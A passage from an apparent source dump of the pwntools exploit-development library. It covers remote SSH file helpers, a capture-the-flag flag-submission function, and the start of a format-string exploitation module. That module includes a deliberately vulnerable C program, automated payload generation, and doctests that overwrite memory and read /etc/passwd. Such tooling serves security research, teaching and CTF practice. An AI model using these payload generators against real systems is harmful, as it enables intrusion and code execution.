\"\"\"Iterates over the contents of the directory\n\n        >>> directory = SSHPath('iterdir', ssh=ssh_conn)\n        >>> directory.mkdir()\n        >>> fileA = directory.joinpath('fileA')\n        >>> fileA.touch()\n        >>> fileB = directory.joinpath('fileB')\n        >>> fileB.touch()\n        >>> dirC = directory.joinpath('dirC')\n        >>> dirC.mkdir()\n        >>> [p.name for p in directory.iterdir()]\n        ['dirC', 'fileA', 'fileB']\n        \"\"\"\n        for directory in sorted(self.ssh.sftp.listdir(self.path)):\n            yield self._new(directory)\n\n    def glob(self, pattern):\n        raise NotImplementedError()\n\n    def rglob(self, pattern):\n        raise NotImplementedError()\n\n    def absolute(self):\n        \"\"\"Return the absolute path to a file, preserving e.g. \"../\".\n        The current working directory is determined via the :class:`.ssh`\n        member :attr:`.ssh.cwd`.\n\n        Example:\n            \n            >>> f = SSHPath('absA/../absB/file', ssh=ssh_conn)\n            >>> f.absolute().path # doctest: +ELLIPSIS\n            '/.../absB/file'\n        \"\"\"\n        path = os.path.normpath(self.path)\n\n        if self.is_absolute():\n            return self._new(path)\n\n        return self._new(os.path.join(self.ssh.cwd, path))\n\n    def resolve(self, strict=False):\n        \"\"\"Return the absolute path to a file, resolving any '..' or symlinks.\n        The current working directory is determined via the :class:`.ssh`\n        member :attr:`.ssh.cwd`.\n\n        Note:\n\n            The file must exist to call resolve().\n\n        Examples:\n\n            >>> f = SSHPath('resA/resB/../resB/file', ssh=ssh_conn)\n\n            >>> f.resolve().path # doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            ValueError: Could not normalize path: '/.../resA/resB/file'\n\n            >>> f.parent.absolute().mkdir(parents=True)\n            >>> list(f.parent.iterdir())\n            []\n\n            >>> f.touch()\n            >>> f.resolve() # doctest: +ELLIPSIS\n            SSHPath('/.../resA/resB/file', ssh=ssh(user='...', host='127.0.0.1'))\n        \"\"\"\n        path = self.absolute().path\n        path = os.path.normpath(path)\n\n        try:\n            return self._new(self.ssh.sftp.normalize(path))\n        except FileNotFoundError as e:\n            raise ValueError(\"Could not normalize path: %r\" % path)\n\n    def stat(self):\n        \"\"\"Returns the permissions and other information about the file\n\n        >>> f = SSHPath('filename', ssh=ssh_conn)\n        >>> f.touch()\n        >>> stat = f.stat()\n        >>> stat.st_size\n        0\n        >>> '%o' % stat.st_mode # doctest: +ELLIPSIS\n        '...664'\n        \"\"\"\n        return self.ssh.sftp.stat(self.path)\n\n    def owner(self):\n        raise NotImplementedError()\n\n    def group(self):\n        raise NotImplementedError()\n\n    def open(self, *a, **kw):\n        \"\"\"Return a file-like object for this path.\n\n        This currently seems to be broken in Paramiko.\n\n        >>> f = SSHPath('filename', ssh=ssh_conn)\n        >>> f.write_text('Hello')\n        >>> fo = f.open(mode='r+')\n        >>> fo                      # doctest: +ELLIPSIS\n        <paramiko.sftp_file.SFTPFile object at ...>\n        >>> fo.read('asdfasdf')     # doctest: +SKIP\n        b'Hello'\n        \"\"\"\n        return self.ssh.sftp.open(self.path, *a, **kw)\n\n    def read_bytes(self):\n        \"\"\"Read bytes from the file at this path\n\n        >>> f = SSHPath('/etc/passwd', ssh=ssh_conn)\n        >>> f.read_bytes()[:10]\n        b'root:x:0:0'\n        \"\"\"\n        return self.ssh.read(str(self.absolute()))\n\n    def read_text(self):\n        \"\"\"Read text from the file at this path\n\n        >>> f = SSHPath('/etc/passwd', ssh=ssh_conn)\n        >>> f.read_text()[:10]\n        'root:x:0:0'\n        \"\"\"\n        return self._s(self.read_bytes())\n\n    def write_bytes(self, data):\n        r\"\"\"Write bytes to the file at this path\n\n        >>> f = SSHPath('somefile', ssh=ssh_conn)\n        >>> f.write_bytes(b'\\x00HELLO\\x00')\n        >>> f.read_bytes()\n        b'\\x00HELLO\\x00'\n        \"\"\"\n        self.ssh.write(str(self.absolute()), data)\n\n    def write_text(self, data):\n        r\"\"\"Write text to the file at this path\n\n        >>> f = SSHPath('somefile', ssh=ssh_conn)\n        >>> f.write_text(\"HELLO 😭\")\n        >>> f.read_bytes()\n        b'HELLO \\xf0\\x9f\\x98\\xad'\n        >>> f.read_text()\n        'HELLO 😭'\n        \"\"\"\n        data = _encode(data)\n        self.write_bytes(data)\n\n    def readlink(self):\n        data = self.ssh.readlink(self.path)\n        if data == b'':\n            data = self.path\n        return self._new(data)\n\n    def touch(self):\n        \"\"\"Touch a file (i.e. make it exist)\n\n        >>> f = SSHPath('touchme', ssh=ssh_conn)\n        >>> f.exists()\n        False\n        >>> f.touch()\n        >>> f.exists()\n        True\n        \"\"\"\n        self.ssh.write(self.path, b'')\n        # self.ssh.sftp.truncate(self.path, 0)\n\n    def mkdir(self, mode=0o777, parents=False, exist_ok=True):\n        r\"\"\"Make a directory at the specified path\n\n        >>> f = SSHPath('dirname', ssh=ssh_conn)\n        >>> f.mkdir()\n        >>> f.exists()\n        True\n\n        >>> f = SSHPath('dirA/dirB/dirC', ssh=ssh_conn)\n        >>> f.mkdir(parents=True)\n        >>> ssh_conn.run(['ls', '-la', f.absolute().path], env={'LC_ALL': 'C.UTF-8'}).recvline()\n        b'total 8\\n'\n        \"\"\"\n        if exist_ok and self.is_dir():\n            return\n\n        if not parents:\n            self.ssh.sftp.mkdir(self.path, mode=mode)\n            return\n\n        if not self.is_absolute():\n            path = self._new(self.ssh.cwd)\n        else:\n            path = self._new('/')\n\n        parts = self.path.split(self.sep)\n\n        for part in parts:\n            # Catch against common case, need to normalize path\n            if part == '..':\n                raise ValueError(\"Cannot create directory '..'\")\n\n            path = path.joinpath(part)\n\n            # Don't create directories that already exist            \n            try:\n                path.mkdir(mode=mode)\n            except OSError:\n                raise OSError(\"Could not create directory %r\" % path)\n\n    def chmod(self, mode):\n        \"\"\"Change the permissions of a file\n\n        >>> f = SSHPath('chmod_me', ssh=ssh_conn)\n        >>> f.touch() # E\n        >>> '0o%o' % f.stat().st_mode\n        '0o100664'\n        >>> f.chmod(0o777)\n        >>> '0o%o' % f.stat().st_mode\n        '0o100777'\n        \"\"\"\n        self.ssh.sftp.chmod(self.path, mode)\n\n    def lchmod(*a, **kw):\n        raise NotImplementedError()\n\n    def unlink(self, missing_ok=False):\n        \"\"\"Remove an existing file.\n\n        TODO:\n\n            This test fails catastrophically if the file name is unlink_me\n            (note the underscore)\n\n        Example:\n\n            >>> f = SSHPath('unlink_me', ssh=ssh_conn)\n            >>> f.exists()\n            False\n            >>> f.touch()\n            >>> f.exists()\n            True\n            >>> f.unlink()\n            >>> f.exists()\n            False\n\n            Note that unlink only works on files.\n\n            >>> f.mkdir()\n            >>> f.unlink()\n            Traceback (most recent call last):\n            ...\n            ValueError: Cannot unlink SSHPath(...)): is not a file\n        \"\"\"\n        try:\n            self.ssh.sftp.remove(str(self))\n        except (IOError, OSError) as e:\n            if self.exists() and not self.is_file():\n                raise ValueError(\"Cannot unlink %r: is not a file\" % self)\n            if not missing_ok:\n                raise e\n\n    def rmdir(self):\n        \"\"\"Remove an existing directory.\n\n        Example:\n\n            >>> f = SSHPath('rmdir_me', ssh=ssh_conn)\n            >>> f.mkdir()\n            >>> f.is_dir()\n            True\n            >>> f.rmdir()\n            >>> f.exists()\n            False\n        \"\"\"\n        if not self.exists():\n            return\n\n        if not self.is_dir():\n            raise ValueError(\"Cannot rmdir %r: not a directory\" % self)\n\n        self.ssh.sftp.rmdir(self.path)\n\n    def link_to(self, target):\n        raise NotImplementedError()\n\n    def symlink_to(self, target):\n        r\"\"\"Create a symlink at this path to the provided target\n\n        Todo:\n\n            Paramiko's documentation is wrong and inverted.\n            https://github.com/paramiko/paramiko/issues/1821\n\n        Example:\n\n            >>> a = SSHPath('link_name', ssh=ssh_conn)\n            >>> b = SSHPath('link_target', ssh=ssh_conn)\n            >>> a.symlink_to(b)\n            >>> a.write_text(\"Hello\")\n            >>> b.read_text()\n            'Hello'\n        \"\"\"\n        if isinstance(target, SSHPath):\n            target = target.path\n\n        self.ssh.sftp.symlink(target, self.path)\n\n    def rename(self, target):\n        \"\"\"Rename a file to the target path\n\n        Example:\n\n            >>> a = SSHPath('rename_from', ssh=ssh_conn)\n            >>> b = SSHPath('rename_to', ssh=ssh_conn)\n            >>> a.touch()\n            >>> b.exists()\n            False\n            >>> a.rename(b)\n            >>> b.exists()\n            True\n        \"\"\"\n        if isinstance(target, SSHPath):\n            target = target.path\n\n        self.ssh.sftp.rename(self.path, target)\n\n    def replace(self, target):\n        \"\"\"Replace target file with file at this path\n\n        Example:\n\n            >>> a = SSHPath('rename_from', ssh=ssh_conn)\n            >>> a.write_text('A')\n            >>> b = SSHPath('rename_to', ssh=ssh_conn)\n            >>> b.write_text('B')\n            >>> a.replace(b)\n            >>> b.read_text()\n            'A'\n        \"\"\"\n        if isinstance(target, SSHPath):\n            target = target.path\n\n        self._new(target).unlink(missing_ok=True)\n        self.rename(target)\n\n    def exists(self):\n        \"\"\"Returns True if the path exists\n\n        Example:\n\n            >>> a = SSHPath('exists', ssh=ssh_conn)\n            >>> a.exists()\n            False\n            >>> a.touch()\n            >>> a.exists()\n            True\n            >>> a.unlink()\n            >>> a.exists()\n            False\n        \"\"\"\n        try:\n            self.stat()\n            return True\n        except IOError:\n            return False\n\n    def is_dir(self):\n        \"\"\"Returns True if the path exists and is a directory\n        \n        Example:\n\n            >>> f = SSHPath('is_dir', ssh=ssh_conn)\n            >>> f.is_dir()\n            False\n            >>> f.touch()\n            >>> f.is_dir()\n            False\n            >>> f.unlink()\n            >>> f.mkdir()\n            >>> f.is_dir()\n            True\n        \"\"\"\n        if not self.exists():\n            return False\n\n        if self.stat().st_mode & 0o040000:\n            return True\n\n        return False\n\n    def is_file(self):\n        \"\"\"Returns True if the path exists and is a file\n        \n        Example:\n\n            >>> f = SSHPath('is_file', ssh=ssh_conn)\n            >>> f.is_file()\n            False\n            >>> f.touch()\n            >>> f.is_file()\n            True\n            >>> f.unlink()\n            >>> f.mkdir()\n            >>> f.is_file()\n            False\n        \"\"\"\n        if not self.exists():\n            return False\n\n        if self.stat().st_mode & 0o040000:\n            return False\n\n        return True\n\n    def is_symlink(self):\n        raise NotImplementedError()\n\n    def is_block_device(self):\n        raise NotImplementedError()\n\n    def is_char_device(self):\n        raise NotImplementedError()\n\n    def is_fifo(self):\n        raise NotImplementedError()\n\n    def is_socket(self):\n        raise NotImplementedError()\n\n    def expanduser(self):\n        \"\"\"Expands a path that starts with a tilde\n\n        Example:\n\n            >>> f = SSHPath('~/my-file', ssh=ssh_conn)\n            >>> f.path\n            '~/my-file'\n            >>> f.expanduser().path # doctest: +ELLIPSIS\n            '/home/.../my-file'\n        \"\"\"\n        if not self.path.startswith('~/'):\n            return self\n        \n        home = self.home\n        subpath = self.path.replace('~/', '')\n        return home.joinpath(subpath)\n\n#----------------------------- PWNTOOLS ADDITIONS -----------------------------\n    @classmethod\n    def mktemp(cls):\n        temp = _decode(context.ssh_session.mktemp())\n        return SSHPath(temp, ssh=context.ssh_session)\n\n    @classmethod\n    def mkdtemp(self):\n        temp = _decode(context.ssh_session.mkdtemp())\n        return SSHPath(temp, ssh=context.ssh_session)\n\n__all__ = ['SSHPath']\n"
  },
  {
    "path": "pwnlib/flag/__init__.py",
    "content": "from pwnlib.flag.flag import submit_flag\n\n__all__ = [\n    'submit_flag',\n]\n"
  },
  {
    "path": "pwnlib/flag/flag.py",
    "content": "\"\"\"Describes a way to submit a key to a key server.\n\"\"\"\nimport os\n\nfrom pwnlib.args import args\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.remote import remote\n\nenv_server  = args.get('FLAG_HOST', 'flag-submission-server').strip()\nenv_port    = args.get('FLAG_PORT', '31337').strip()\nenv_file    = args.get('FLAG_FILE', '/does/not/exist').strip()\nenv_exploit_name = args.get('EXPLOIT_NAME', 'unnamed-exploit').strip()\nenv_target_host  = args.get('TARGET_HOST', 'unknown-target').strip()\nenv_team_name    = args.get('TEAM_NAME', 'unknown-team').strip()\n\nlog = getLogger(__name__)\n\ndef submit_flag(flag,\n                exploit=env_exploit_name,\n                target=env_target_host,\n                server=env_server,\n                port=env_port,\n                team=env_team_name):\n    \"\"\"\n    Submits a flag to the game server\n\n    Arguments:\n        flag(str): The flag to submit.\n        exploit(str): Exploit identifier, optional\n        target(str): Target identifier, optional\n        server(str): Flag server host name, optional\n        port(int): Flag server port, optional\n        team(str): Team identifier, optional\n\n    Optional arguments are inferred from the environment,\n    or omitted if none is set.\n\n    Returns:\n        A string indicating the status of the key submission,\n        or an error code.\n\n    Doctest:\n\n        >>> l = listen()\n        >>> _ = submit_flag('flag', server='localhost', port=l.lport)\n        >>> c = l.wait_for_connection()\n        >>> c.recvall().split()\n        [b'flag', b'unnamed-exploit', b'unknown-target', b'unknown-team']\n    \"\"\"\n    flag = flag.strip()\n\n    log.success(\"Flag: %r\" % flag)\n\n    data = \"\\n\".join([flag,\n                      exploit,\n                      target,\n                      team,\n                      '']).encode('ascii')\n\n    if os.path.exists(env_file):\n        write(env_file, data)\n        return\n\n    try:\n        with remote(server, int(port)) as r:\n            r.send(data)\n            return r.recvall(timeout=1)\n    except Exception:\n        log.warn(\"Could not submit flag %r to %s:%s\", flag, server, port)\n"
  },
  {
    "path": "pwnlib/fmtstr.py",
    "content": "r\"\"\"\nProvide some tools to exploit format string bug\n\nLet's use this program as an example:\n\n::\n\n    #include <stdio.h>\n    #include <stdlib.h>\n    #include <unistd.h>\n    #include <sys/mman.h>\n    #define MEMORY_ADDRESS ((void*)0x11111000)\n    #define MEMORY_SIZE 1024\n    #define TARGET ((int *) 0x11111110)\n    int main(int argc, char const *argv[])\n    {\n           char buff[1024];\n           void *ptr = NULL;\n           int *my_var = TARGET;\n           ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);\n           if(ptr != MEMORY_ADDRESS)\n           {\n                   perror(\"mmap\");\n                   return EXIT_FAILURE;\n           }\n           *my_var = 0x41414141;\n           write(1, &my_var, sizeof(int *));\n           scanf(\"%s\", buff);\n           dprintf(2, buff);\n           write(1, my_var, sizeof(int));\n           return 0;\n    }\n\nWe can automate the exploitation of the process like so:\n\n.. doctest::\n    :options: +POSIX +TODO\n\n    >>> program = pwnlib.data.elf.fmtstr.get('i386')\n    >>> def exec_fmt(payload):\n    ...     p = process(program)\n    ...     p.sendline(payload)\n    ...     return p.recvall()\n    ...\n    >>> autofmt = FmtStr(exec_fmt)\n    >>> offset = autofmt.offset\n    >>> p = process(program, stderr=PIPE)\n    >>> addr = unpack(p.recv(4))\n    >>> payload = fmtstr_payload(offset, {addr: 0x1337babe})\n    >>> p.sendline(payload)\n    >>> print(hex(unpack(p.recv(4))))\n    0x1337babe\n\nExample - Payload generation\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. code-block:: python\n\n    # we want to do 3 writes\n    writes = {0x08041337:   0xbfffffff,\n              0x08041337+4: 0x1337babe,\n              0x08041337+8: 0xdeadbeef}\n\n    # the printf() call already writes some bytes\n    # for example :\n    # strcat(dest, \"blabla :\", 256);\n    # strcat(dest, your_input, 256);\n    # printf(dest);\n    # Here, numbwritten parameter must be 8\n    payload = fmtstr_payload(5, writes, numbwritten=8)\n\nExample - Automated exploitation\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. code-block:: python\n\n\t# Assume a process that reads a string\n\t# and gives this string as the first argument\n\t# of a printf() call\n\t# It do this indefinitely\n\tp = process('./vulnerable')\n\n\t# Function called in order to send a payload\n\tdef send_payload(payload):\n\t\tlog.info(\"payload = %s\" % repr(payload))\n\t\tp.sendline(payload)\n\t\treturn p.recv()\n\n\t# Create a FmtStr object and give to him the function\n\tformat_string = FmtStr(execute_fmt=send_payload)\n\tformat_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0\n\tformat_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe\n\tformat_string.execute_writes()\n\n\"\"\"\nimport logging\nimport re\nfrom operator import itemgetter\nfrom sortedcontainers import SortedList\n\nfrom pwnlib.log import getLogger\nfrom pwnlib.memleak import MemLeak\nfrom pwnlib.util.cyclic import *\nfrom pwnlib.util.fiddling import randoms\nfrom pwnlib.util.misc import align\nfrom pwnlib.util.packing import *\n\nlog = getLogger(__name__)\n\nSPECIFIER = {\n    1: 'hhn',\n    2: 'hn',\n    4: 'n',\n    8: 'lln',\n}\n\n\nSZMASK = { sz: (1 << (sz * 8)) - 1 for sz in SPECIFIER }\n\nWRITE_SIZE = {\n    \"byte\": 1,\n    \"short\": 2,\n    \"int\": 4,\n    \"long\": 8,\n}\n\ndef normalize_writes(writes):\n    r\"\"\"\n    This function converts user-specified writes to a dict ``{ address1: data1, address2: data2, ... }``\n    such that all values are raw bytes and consecutive writes are merged to a single key.\n\n    Examples:\n\n        >>> context.clear(endian=\"little\", bits=32)\n        >>> normalize_writes({0x0: [p32(0xdeadbeef)], 0x4: p32(0xf00dface), 0x10: 0x41414141})\n        [(0, b'\\xef\\xbe\\xad\\xde\\xce\\xfa\\r\\xf0'), (16, b'AAAA')]\n    \"\"\"\n    # make all writes flat\n    writes = { address: flat(data) for address, data in writes.items() }\n\n    # merge adjacent writes (and detect overlaps)\n    merged = []\n    prev_end = -1\n    for address, data in sorted(writes.items(), key=itemgetter(0)):\n        if address < prev_end:\n            raise ValueError(\"normalize_writes(): data at offset %d overlaps with previous data which ends at offset %d\" % (address, prev_end))\n\n        if address == prev_end and merged:\n            merged[-1] = (merged[-1][0], merged[-1][1] + data)\n        else:\n            merged.append((address, data))\n\n        prev_end = address + len(data)\n\n    return merged\n\n# optimization examples (with bytes_written=0)\n#\n# 00 05 00 00     -> %n%5c%n\n# 00 00 05 00 00  -> %n%5c%n\n# 00 00 05 05 00 05  -> need overlapping writes if numbwritten > 5\n\nclass AtomWrite(object):\n    \"\"\"\n    This class represents a write action that can be carried out by a single format string specifier.\n\n    Each write has an address (start), a size and the integer that should be written.\n\n    Additionally writes can have a mask to specify which bits are important.\n    While the write always overwrites all bytes in the range [start, start+size) the mask sometimes allows more\n    efficient execution. For example, assume the current format string counter is at 0xaabb and a write with\n    with integer = 0xaa00 and mask = 0xff00 needs to be executed. In that case, since the lower byte is not covered\n    by the mask, the write can be directly executed with a %hn sequence (so we will write 0xaabb, but that is ok\n    because the mask only requires the upper byte to be correctly written).\n    \"\"\"\n    __slots__ = ( \"start\", \"size\", \"integer\", \"mask\" )\n\n    def __init__(self, start, size, integer, mask=None):\n        if mask is None:\n            mask = (1 << (8 * size)) - 1\n        self.start = int(start)\n        self.size = size\n        self.integer = int(integer)\n        self.mask = int(mask)\n\n    def __len__(self):\n        return self.size\n\n    def __key(self):\n        return (self.start, self.size, self.integer, self.mask)\n\n    def __eq__(self, other):\n        if not isinstance(other, AtomWrite):\n            raise TypeError(\"comparision not supported between instances of '%s' and '%s'\" % (type(self), type(other)))\n        return self.__key() == other.__key()\n\n    def __ne__(self, other):\n        return not self.__eq__(other)\n\n    def __hash__(self):\n        return hash(self.__key())\n\n    def __repr__(self):\n        return \"AtomWrite(start=%d, size=%d, integer=%#x, mask=%#x)\" % (self.start, self.size, self.integer, self.mask)\n\n    @property\n    def bitsize(self):\n        return self.size * 8\n\n    @property\n    def end(self):\n        return self.start + self.size\n\n    def compute_padding(self, counter):\n        \"\"\"\n        This function computes the least amount of padding necessary to execute this write,\n        given the current format string write counter (how many bytes have been written until now).\n\n        Examples:\n\n            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0x2345).compute_padding(0x1111))\n            '0x1234'\n            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00).compute_padding(0xaabb))\n            '0xff45'\n            >>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00, 0xff00).compute_padding(0xaabb)) # with mask\n            '0x0'\n        \"\"\"\n        wanted = self.integer & self.mask\n        padding = 0\n        while True:\n            diff = wanted ^ ((counter + padding) & self.mask)\n            if not diff: break\n            # this masks the least significant set bit and adds it to padding\n            padding += diff & (diff ^ (diff - 1))\n        return padding\n\n    def replace(self, start=None, size=None, integer=None, mask=None):\n        \"\"\"\n        Return a new write with updated fields (everything that is not None is set to the new value)\n        \"\"\"\n        start = self.start if start is None else start\n        size = self.size if size is None else size\n        integer = self.integer if integer is None else integer\n        mask = self.mask if mask is None else mask\n        return AtomWrite(start, size, integer, mask)\n\n    def union(self, other):\n        \"\"\"\n        Combine adjacent writes into a single write.\n\n        Example:\n\n            >>> context.clear(endian = \"little\")\n            >>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))\n            AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)\n        \"\"\"\n        assert other.start == self.end, \"writes to combine must be continous\"\n        if context.endian == \"little\":\n            newinteger = (other.integer << self.bitsize) | self.integer\n            newmask = (other.mask << self.bitsize) | self.mask\n        elif context.endian == \"big\":\n            newinteger = (self.integer << other.bitsize) | other.integer\n            newmask = (self.mask << other.bitsize) | other.mask\n        return AtomWrite(self.start, self.size + other.size, newinteger, newmask)\n\n    def __getslice__(self, i,  j):\n        return self.__getitem__(slice(i, j))\n\n    def __getitem__(self, i):\n        if not isinstance(i, slice):\n            if i < 0 or i >= self.size:\n                raise IndexError(\"out of range [0, \" + str(self.size) + \"): \" + str(i))\n            i = slice(i,i+1)\n        start, stop, step = i.indices(self.size)\n        if step != 1:\n            raise IndexError(\"slices with step != 1 not supported for AtomWrite\")\n\n        clip = (1 << ((stop - start) * 8)) - 1\n        if context.endian == 'little':\n            shift = start * 8\n        elif context.endian == 'big':\n            shift = (self.size - stop) * 8\n        return AtomWrite(self.start + start, stop - start, (self.integer >> shift) & clip, (self.mask >> shift) & clip)\n\ndef make_atoms_simple(address, data, badbytes=frozenset()):\n    \"\"\"\n    Build format string atoms for writing some data at a given address where some bytes are not allowed\n    to appear in addresses (such as nullbytes).\n\n    This function is simple and does not try to minimize the number of atoms. For example, if there are no\n    bad bytes, it simply returns one atom for each byte:\n\n        >>> pwnlib.fmtstr.make_atoms_simple(0x0, b\"abc\", set())\n        [AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1, integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]\n    \n    If there are bad bytes, it will try to bypass by skipping addresses containing bad bytes, otherwise a\n    RuntimeError will be raised:\n\n        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'abc', b'\\x62')\n        [AtomWrite(start=97, size=2, integer=0x6261, mask=0xffff), AtomWrite(start=99, size=1, integer=0x63, mask=0xff)]\n        >>> pwnlib.fmtstr.make_atoms_simple(0x61, b'a'*0x10, b'\\x62\\x63\\x64\\x65\\x66\\x67\\x68')\n        [AtomWrite(start=97, size=8, integer=0x6161616161616161, mask=0xffffffffffffffff), AtomWrite(start=105, size=1, integer=0x61, mask=0xff), AtomWrite(start=106, size=1, integer=0x61, mask=0xff), AtomWrite(start=107, size=1, integer=0x61, mask=0xff), AtomWrite(start=108, size=1, integer=0x61, mask=0xff), AtomWrite(start=109, size=1, integer=0x61, mask=0xff), AtomWrite(start=110, size=1, integer=0x61, mask=0xff), AtomWrite(start=111, size=1, integer=0x61, mask=0xff), AtomWrite(start=112, size=1, integer=0x61, mask=0xff)]\n    \"\"\"\n    data = bytearray(data)\n    if not badbytes:\n        return [AtomWrite(address + i, 1, d) for i, d in enumerate(data)]\n\n    if any(x in badbytes for x in pack(address)):\n        raise RuntimeError(\"impossible to avoid a bad byte in starting address %x\" % address)\n\n    i = 0\n    out = []\n    end = address + len(data)\n    while i < len(data):\n        candidate = AtomWrite(address + i, 1, data[i])\n        while candidate.end < end and any(x in badbytes for x in pack(candidate.end)):\n            candidate = candidate.union(AtomWrite(candidate.end, 1, data[i + candidate.size]))\n\n        sz = min([s for s in SPECIFIER if s >= candidate.size] + [float(\"inf\")])\n        if candidate.start + sz > end:\n            raise RuntimeError(\"impossible to avoid badbytes starting after offset %d (address %#x)\" % (i, i + address))\n        i += candidate.size\n        candidate = candidate.union(AtomWrite(candidate.end, sz - candidate.size, 0, 0))\n        out.append(candidate)\n    return out\n\n\ndef merge_atoms_writesize(atoms, maxsize):\n    \"\"\"Merge consecutive atoms based on size.\n\n    This function simply merges adjacent atoms as long as the merged atom's size is not larger than ``maxsize``.\n\n    Examples:\n\n        >>> from pwnlib.fmtstr import *\n        >>> merge_atoms_writesize([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1), AtomWrite(2, 1, 2)], 2)\n        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff), AtomWrite(start=2, size=1, integer=0x2, mask=0xff)]\n    \"\"\"\n    assert maxsize in SPECIFIER, \"write size must be supported by printf\"\n\n    out = []\n    while atoms:\n        # look forward to find atoms to merge with\n        best = (1, atoms[0])\n        candidate = atoms[0]\n        for idx, atom in enumerate(atoms[1:]):\n            if candidate.end != atom.start: break\n\n            candidate = candidate.union(atom)\n            if candidate.size > maxsize: break\n            if candidate.size in SPECIFIER:\n                best = (idx+2, candidate)\n\n        out += [best[1]]\n        atoms[:best[0]] = []\n    return out\n\ndef find_min_hamming_in_range_step(prev, step, carry, strict):\n    \"\"\"\n    Compute a single step of the algorithm for find_min_hamming_in_range\n\n    Arguments:\n        prev(dict): results from previous iterations\n        step(tuple): tuple of bounds and target value, (lower, upper, target)\n        carry(int): carry means allow for overflow of the previous (less significant) byte\n        strict(int): strict means allow the previous bytes to be bigger than the upper limit (limited to those bytes)\n                     in lower = 0x2000, upper = 0x2100, choosing 0x21 for the upper byte is not strict because\n                     then the lower bytes have to actually be smaller than or equal to 00 (0x2111 would not be in\n                     range)\n    Returns:\n        A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.\n\n    Examples:\n\n        >>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}\n        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF, 0x1), 0, 0)\n        (1, 1, 255)\n        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 0)\n        (1, 1, 255)\n        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 1)\n        (0, 0, 0)\n        >>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0), 0, 1)\n        (1, 0, 255)\n        >>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF, 0x00, 0xFF), 1, 0))\n        'None'\n    \"\"\"\n    lower, upper, value = step\n    carryadd = 1 if carry else 0\n\n    valbyte = value & 0xFF\n    lowbyte = lower & 0xFF\n    upbyte = upper & 0xFF\n\n    # if we can the requested byte without carry, do so\n    # requiring strictness if possible is not a problem since strictness will cost at most a single byte\n    # (so if we don't get our wanted byte without strictness, we may as well require it if possible)\n    val_require_strict = valbyte > upbyte or valbyte == upbyte and strict\n    if lowbyte + carryadd <= valbyte:\n        if prev[(0, val_require_strict)]:\n            prev_score, prev_val, prev_mask = prev[(0, val_require_strict)]\n            return prev_score + 1, (prev_val << 8) | valbyte, (prev_mask << 8) | 0xFF\n\n    # now, we have two options: pick the wanted byte (forcing carry), or pick something else\n    # check which option is better\n    lowcarrybyte = (lowbyte + carryadd) & 0xFF\n    other_require_strict = lowcarrybyte > upbyte or lowcarrybyte == upbyte and strict\n    other_require_carry = lowbyte + carryadd > 0xFF\n    prev_for_val = prev[(1, val_require_strict)]\n    prev_for_other = prev[(other_require_carry, other_require_strict)]\n    if prev_for_val and (not prev_for_other or prev_for_other[0] <= prev_for_val[0] + 1):\n        return prev_for_val[0] + 1, (prev_for_val[1] << 8) | valbyte, (prev_for_val[2] << 8) | 0xFF\n    if prev_for_other:\n        return prev_for_other[0], (prev_for_other[1] << 8) | lowcarrybyte, (prev_for_other[2] << 8)\n    return None\n\ndef find_min_hamming_in_range(maxbytes, lower, upper, target):\n    \"\"\"\n    Find the value which differs in the least amount of bytes from the target and is in the given range.\n\n    Returns a tuple (count, value, mask) where count is the number of equal bytes and mask selects the equal bytes.\n    So mask & target == value & target and lower <= value <= upper.\n\n    Arguments:\n        maxbytes(int): bytes above maxbytes (counting from the least significant first) don't need to match\n        lower(int): lower bound for the returned value, inclusive\n        upper(int): upper bound, inclusive\n        target(int): the target value that should be approximated\n\n    Examples:\n\n        >>> pp = lambda svm: (svm[0], hex(svm[1]), hex(svm[2]))\n        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0x0, 0x100, 0xaa))\n        (1, '0xaa', '0xff')\n        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x100, 0xaa))\n        (0, '0xbb', '0x0')\n        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x200, 0xaa))\n        (1, '0x1aa', '0xff')\n        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(2, 0x0, 0x100, 0xaa))\n        (2, '0xaa', '0xffff')\n        >>> pp(pwnlib.fmtstr.find_min_hamming_in_range(4, 0x1234, 0x10000, 0x0))\n        (3, '0x10000', '0xff00ffff')\n    \"\"\"\n    steps = []\n    for _ in range(maxbytes):\n        steps += [(lower, upper, target)]\n        lower = lower >> 8\n        upper = upper >> 8\n        target = target >> 8\n\n    # the initial state\n    prev = {\n        (False,False): (0, 0, 0),\n        (False,True): None if upper == lower else (0, lower, 0),\n        (True,False): None if upper == lower else (0, lower, 0),\n        (True,True): None if upper <= lower + 1 else (0, lower + 1, 0)\n    }\n    for step in reversed(steps):\n        prev = {\n            (carry, strict): find_min_hamming_in_range_step(prev, step, carry, strict )\n            for carry in [False, True]\n            for strict in [False, True]\n        }\n    return 